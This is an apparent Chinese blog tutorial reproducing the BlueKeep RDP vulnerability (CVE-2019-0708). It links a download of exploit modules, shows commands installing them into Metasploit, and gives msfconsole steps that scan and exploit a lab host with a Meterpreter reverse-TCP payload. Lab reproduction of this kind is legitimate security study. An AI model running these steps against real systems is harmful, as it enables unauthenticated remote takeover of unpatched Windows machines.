CVE-2019-0708复现

0x00 漏洞简介

Microsoft 远程桌面服务远程代码执行漏洞（漏洞编号：CVE-2019-0708）指的是攻击者在未经身份校验的情况下，通过 RDP 连接目标系统并向其发送精心构造的请求，即可直接导致远程代码执行，整个过程不需要用户交互。攻击者一旦利用成功即可在目标系统上安装程序，查看、更改或者删除数据，创建具有完整用户权限的新账户，危害极大。

2019 年 5 月 14 日，微软官方通过更正远程桌面服务处理连接请求的方式修复了此漏洞。Windows 8 以及 Windows 10 不受此漏洞的影响。由于该漏洞危害严重，微软额外为 Windows XP，Windows 2003 这些已经停止支持的系统发布了补丁。

受此次漏洞影响的 Windows 版本范围如下：

Windows 7
Windows 2008 R2
Windows 2008
Windows 2003
Windows XP

0X01 复现

0x001 准备工作：

由于以往的exp链接已经失效，贡献自己保存的传送门下载https://wwa.lanzous.com/ieeybfqur5i：（仅为测试使用，请勿用于非法用途！否则后果自负）

更新下msf: 参考：https://www.cnblogs.com/ethtool/p/13521393.html

0x002 开始：

1 cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
2 cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp
3 cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
4 cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

扫描：

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 192.168.56.133
exploit

攻击：

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.56.133
set payload windows/x64/meterpreter/reverse_tcp  #调用反弹的攻击载荷
exploit

为美好的生活奋斗！